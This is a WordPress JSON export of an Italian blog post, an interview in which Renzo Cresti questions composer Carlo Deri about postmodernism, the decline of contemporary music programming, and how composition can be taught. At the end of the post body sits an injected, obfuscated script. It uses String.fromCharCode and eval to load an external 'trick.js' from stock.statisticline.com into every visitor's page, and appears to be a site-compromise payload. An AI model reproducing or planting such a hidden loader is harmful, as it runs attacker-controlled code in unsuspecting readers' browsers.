{"id":718,"date":"2013-09-14T15:26:44","date_gmt":"2013-09-14T15:26:44","guid":{"rendered":"http:\/\/www.carloderi.com\/?p=718"},"modified":"2013-10-20T16:13:20","modified_gmt":"2013-10-20T16:13:20","slug":"intervista-a-carlo-deri-musiche-oggi-purezza-stilistica-o-contaminazioni-problematiche-dello-scrivere-del-fare-e-dellorganizzare-musica","status":"publish","type":"post","link":"https:\/\/www.carloderi.com\/?p=718","title":{"rendered":"Intervista a Carlo Deri: Musiche oggi, purezza stilistica o contaminazioni?"},"content":{"rendered":"<p><strong>Musiche oggi, purezza stilistica o contaminazioni? Problematiche dello scrivere, del fare e dell\u2019organizzare musica<\/strong><\/p>\n<p><i>Il materiale di questa intervista \u00e8 stato pubblicato in Renzo Cresti, <\/i>Fare musica oggi: difficolt\u00e0 e gioie<i>, Marco Del Bucchia Editore, 2010<\/i><\/p>\n<p>(<a href=\"http:\/\/www.delbucchia.it\/libro.php?c=234\">http:\/\/www.delbucchia.it\/libro.php?c=234<\/a>)<\/p>\n<p>(<a href=\"http:\/\/www.renzocresti.com\/dettagli.php?quale=9&amp;quale_dettaglio=44#\">http:\/\/www.renzocresti.com\/dettagli.php?quale=9&amp;quale_dettaglio=44#<\/a>)<\/p>\n<p style=\"text-align: justify;\"><i><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Fare-musica-oggi-copertina3.png\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-730 alignleft\" alt=\"Fare musica oggi copertina3\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Fare-musica-oggi-copertina3.png\" width=\"277\" height=\"464\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Fare-musica-oggi-copertina3.png 277w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Fare-musica-oggi-copertina3-179x300.png 179w\" sizes=\"auto, (max-width: 277px) 100vw, 277px\" \/><\/a><\/i>Renzo Cresti \u2013<i> In riferimento alle difficolt\u00e0 del comporre oggi si parla in genere di Postmoderno, ma s\u2019\u00e8 parlato anche di \u201cnuova-semplicit\u00e0\u201d e, in Italia, di \u201cneoromanticismo\u201d. Che cosa pensi di queste nuove coordinate culturali?<\/i><\/p>\n<p style=\"text-align: justify;\">Carlo Deri \u2013 La prima volta che mi vidi affibbiare l\u2019etichetta di \u201cpostmoderno\u201d fu durante le prove della mia <i>Sonata per due flauti e pianoforte<\/i>, a met\u00e0 degli anni Ottanta, e la cosa non mi dispiacque, ma non mi fece neanche piacere: semplicemente mi lasci\u00f2 indifferente. Non ho mai amato questo genere di classificazioni, che rischiano di banalizzare, di rendere generico, il complesso e mutevole mondo creativo di un artista .<\/p>\n<p style=\"text-align: justify;\">\u00c8 evidente che gi\u00e0 allora il periodo della sperimentazione \u2013 quella \u201cdura\u201d, quella che voleva stupire, scuotere il pubblico \u2013 si era gi\u00e0 avviato a conclusione. Ci\u00f2 nondimeno non bisogna disconoscere l\u2019alto valore di quegli esperimenti (anche se spesso pi\u00f9 sul piano filosofico che su quello strettamente artistico) che comunque hanno avuto il merito di scavare nell\u2019entit\u00e0 stessa del suono e di studiare e inventare nuove tecniche, preparando il terreno a chi \u00e8 venuto dopo.<\/p>\n<p style=\"text-align: justify;\">RC \u2013<i> A livello organizzativo (cio\u00e8 politico ed economico) quali difficolt\u00e0 si incontrano?<\/i><\/p>\n<p style=\"text-align: justify;\">CD \u2013 Enormi. Al giorno d\u2019oggi, almeno in Italia, organizzare un concerto o una manifestazione \u00e8 un\u2019impresa molto ardua. Non c\u2019\u00e8 paragone con gli anni Sessanta, Settanta, Ottanta. L\u2019impostazione predominante in questi ultimi tempi \u00e8 che un prodotto \u2013 di qualunque genere sia, quindi anche un prodotto artistico \u2013 deve reggersi in piedi da solo dal punto di vista economico. Questo fa s\u00ec che ci\u00f2 che non \u00e8 commerciale (sia nel senso migliore che nel senso pi\u00f9 bieco del termine) non abbia alcuna possibilit\u00e0 di vita. Gran parte del pubblico \u00e8 anestetizzata da messaggi pseudoculturali fuorvianti. Confonde il successo con la notoriet\u00e0, ha bisogno di legare l\u2019evento artistico al gossip, ha un senso critico molto affievolito e si fa abbindolare da <i>battage<\/i> pubblicitari che annunciano improbabili novelli Mozart. Non c\u2019\u00e8 da stupirsi se, nel migliore dei casi, il pubblico (e adesso sto parlando di quella parte del pubblico pi\u00f9 colta, quella che all\u2019opera o a un concerto, pi\u00f9 o meno frequentemente, ci va) si rifugia in opere che come minimo hanno cento anni, e continua compulsivamente ad ascoltarle e riascoltarle in un ripiegamento su di s\u00e9 che non ha speranza di evoluzione. Il fatto che ci siano trasmissioni radiofoniche (molto seguite dalle persone anche di una certa levatura culturale) dove il principale motivo d\u2019interesse \u00e8 il confronto fra le varie interpretazioni dello stesso pezzo, fino a rendere degno di segnalazione il particolare pi\u00f9 insignificante \u2013 l\u2019entit\u00e0 di un rallentato, o addirittura la durata di una corona! \u2013 d\u00e0 la dimensione dell\u2019abisso.<\/p>\n<p style=\"text-align: justify;\">RC \u2013<i> Riguardo al difficile rapporto fra comunicazione e ricerca, come ti situi nella fondamentale relazione fra indagine compositiva e l\u2019espressione?<\/i><\/p>\n<p style=\"text-align: justify;\">CD \u2013 \u201cIndagine compositiva\u201d \u00e8 una locuzione che mi evoca l\u2019immagine di qualcosa di freddo, di pianificato al tavolino; una dimensione lontana dal mio sentire: l\u2019espressivit\u00e0 \u00e8 ci\u00f2 che mi guida. La ricerca, secondo me, deve essere funzionale alla comunicazione: la sperimentazione fine a se stessa mi interessa poco; credo che quella stagione della creazione musicale sia fondamentalmente terminata, e continuare a proporla oggi mi pare un\u2019operazione pi\u00f9 che altro \u2013 come ho detto altre volte \u2013 da \u201cnostalgici\u201d<\/p>\n<p style=\"text-align: justify;\">RC \u2013<i> In relazione alla difficolt\u00e0 di orientarsi, quali punti di riferimento hai avuto a livello compositivo? Dopo la morte dei grandi Maestri (Maderna, Nono, Donatoni, Berio ecc.) a chi pu\u00f2 guardare oggi un giovane che intraprende gli studi della composizione?<\/i><\/p>\n<p style=\"text-align: justify;\">CD \u2013 Agli studi di composizione in genere si accede in et\u00e0 pi\u00f9 avanzata rispetto a quello che accade nel campo dell\u2019esecuzione, per cui il principiante, in effetti, qualche problema relativo a quali modelli ispirarsi \u00e8 facile che se lo ponga.<\/p>\n<p style=\"text-align: justify;\">Per quanto mi riguarda devo dire che dopo una fase nella quale ascoltavo con voracit\u00e0 intellettuale tutto quello che mi capitava (e vale la pena di ricordare che negli anni Settanta le occasioni di ascoltare musica del proprio tempo erano infinitamente maggiori di adesso: non solo la Rai mandava in onda trasmissioni \u2013 sia in televisione, che per radio \u2013 di vario tipo inerenti la musica contemporanea, ma si organizzavano concerti e manifestazioni in una quantit\u00e0 che oggi appare impensabile; e dire che allora ci si lamentava perch\u00e9 sembrava troppo poco!), il primo autore che ho veramente ammirato e che mi ha realmente emozionato, che ho ascoltato per il piacere di sentire musica bella e non solo \u201cinteressante\u201d \u00e8 stato Krzysztof Penderecki. Ricordo ancora adesso, a distanza di quasi 40 anni, la viva impressione che mi fece l\u2019ascolto in concerto del suo <i>De natura sonoris<\/i>. Non avevo mai ascoltato musica sua, anzi non lo conoscevo nemmeno. La scintilla scoppi\u00f2 improvvisa e fu cos\u00ec che cercai di procurarmi tutti i dischi possibili di questo maestro.<\/p>\n<p style=\"text-align: justify;\">Con tutto questo sento per\u00f2 di poter dire che nonostante l\u2019ammirazione che provavo e che provo ancora per lui, non credo di averlo preso a modello.<\/p>\n<p style=\"text-align: justify;\">Pensandoci bene non direi di avere eletto a mio personale punto di riferimento la produzione di un qualche autore. Semmai ho guardato a quello che \u00e8 stato il mio maestro, Carlo Prosperi, ma solo per quello che riguarda la parte tecnica, il rigore professionale, e per tutto ci\u00f2 che attiene alla dimensione etica della creazione artistica. Fra le tante cose che ho imparato da lui credo che una delle pi\u00f9 importanti sia stato l\u2019atteggiamento all\u2019autocontrollo, per evitare il rischio di cadere nel male dell\u2019autoreferenzialit\u00e0, vera piaga del mondo culturale (o pseudoculturale) di oggi.<\/p>\n<p style=\"text-align: justify;\">A parte qualche preoccupazione iniziale sul \u201cquanto moderna\u201d poteva essere la strada che stavo percorrendo, credo che ci\u00f2 che mi ha guidato sia stato pi\u00f9 che altro un concetto, un\u2019idea (o forse sarebbe meglio dire un \u201cideale\u201d?): l\u2019espressivit\u00e0.<\/p>\n<p style=\"text-align: justify;\">S\u00ec, questo \u00e8 un problema che ho risolto precocemente, anzi, forse la decisione dell\u2019orientamento che avrei preso nel comporre \u00e8 stata cos\u00ec rapida e sicura (in un periodo storico nel quale l\u2019avanguardia non dava per niente per scontato che si dovesse essere per forza \u201cespressivi\u201d; si era in un periodo nel quale predominavano i concetti di \u201cassenza di significato\u201d, \u201calea\u201d, e cos\u00ec via) che nemmeno ho il ricordo di una decisione non dico sofferta, ma almeno problematica. Probabilmente perch\u00e9 alla base di tutta la mia azione componistica c\u2019\u00e8 prima di tutto il bisogno di comunicare;<\/p>\n<p style=\"text-align: justify;\">Quindi ad un giovane che abbia intenzione di cominciare a comporre, il consiglio che posso dare \u00e8 quello di non avere altri punti di riferimento che se stesso, evitando il rischio di inconcludenti imitazioni.<\/p>\n<p style=\"text-align: justify;\">RC \u2013<i> Si pu\u00f2 davvero insegnare a comporre oppure si possono dare solo delle linee generali per lo studio?<\/i><\/p>\n<p style=\"text-align: justify;\">CD \u2013 Mah, bisogna vedere che cosa significa \u201cinsegnare a comporre\u201d. Se si intende di insegnare l\u2019Arte, intesa come il raggiungimento di un prodotto che svisceri i reconditi recessi del proprio animo attraverso un percorso creativo, la risposta scontata: \u00e8 un\u2019operazione perduta in partenza, la creativit\u00e0 non si s\u2019insegna\u2026<\/p>\n<p style=\"text-align: justify;\">Ma \u201ccomporre\u201d vuol dire anche tante altre cose: c\u2019\u00e8 una enorme parte artigianale della composizione che si deve necessariamente imparare, altrimenti si brancola nel buio. E questo si pu\u00f2 e si deve insegnare, eccome!<\/p>\n<p style=\"text-align: justify;\">RC \u2013<i> In relazione al rapporto fra studio e libert\u00e0, vale di pi\u00f9 un percorso didattico scolastico e rigoroso oppure le aperture di un libero cammino autodidattico?<\/i><\/p>\n<p style=\"text-align: justify;\">CD \u2013 A mio parere questo \u00e8 un falso problema. Si, anch\u2019io negli anni di studio ho sentito pi\u00f9 volte il peso dei compiti scolastici, delle composizioni \u201cin stile\u201d, che certo erano lontane da quello che avrei voluto fare nell\u2019immediato. Ci\u00f2 nondimeno sono grato ai miei maestri per l\u2019impostazione rigorosa che ho ricevuto. Che poi tutto quello che mi \u00e8 stato insegnato l\u2019abbia anche messo in pratica \u00e8 un altro discorso; anzi molte di quelle cose le ho rifiutate, com\u2019\u00e8 logico, ma le mie scelte sono avvenute a livello consapevole. E la consapevolezza \u00e8 un tesoro che non ha prezzo.<\/p>\n<p style=\"text-align: justify;\">Il \u201clibero cammino autodidattico\u201d temo che funzioni una volta su un milione. In tutti gli altri casi il principiante finisce per perdere del tempo prezioso. Insomma, \u00e8 vero che ad ogni generazione l\u2019umanit\u00e0 torna bambina, ma l\u2019esperienza di chi ci ha preceduto (i nostri maestri) \u00e8 preziosa e ci deve essere d\u2019aiuto.<\/p>\n<p><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Musiche oggi, purezza stilistica o contaminazioni? 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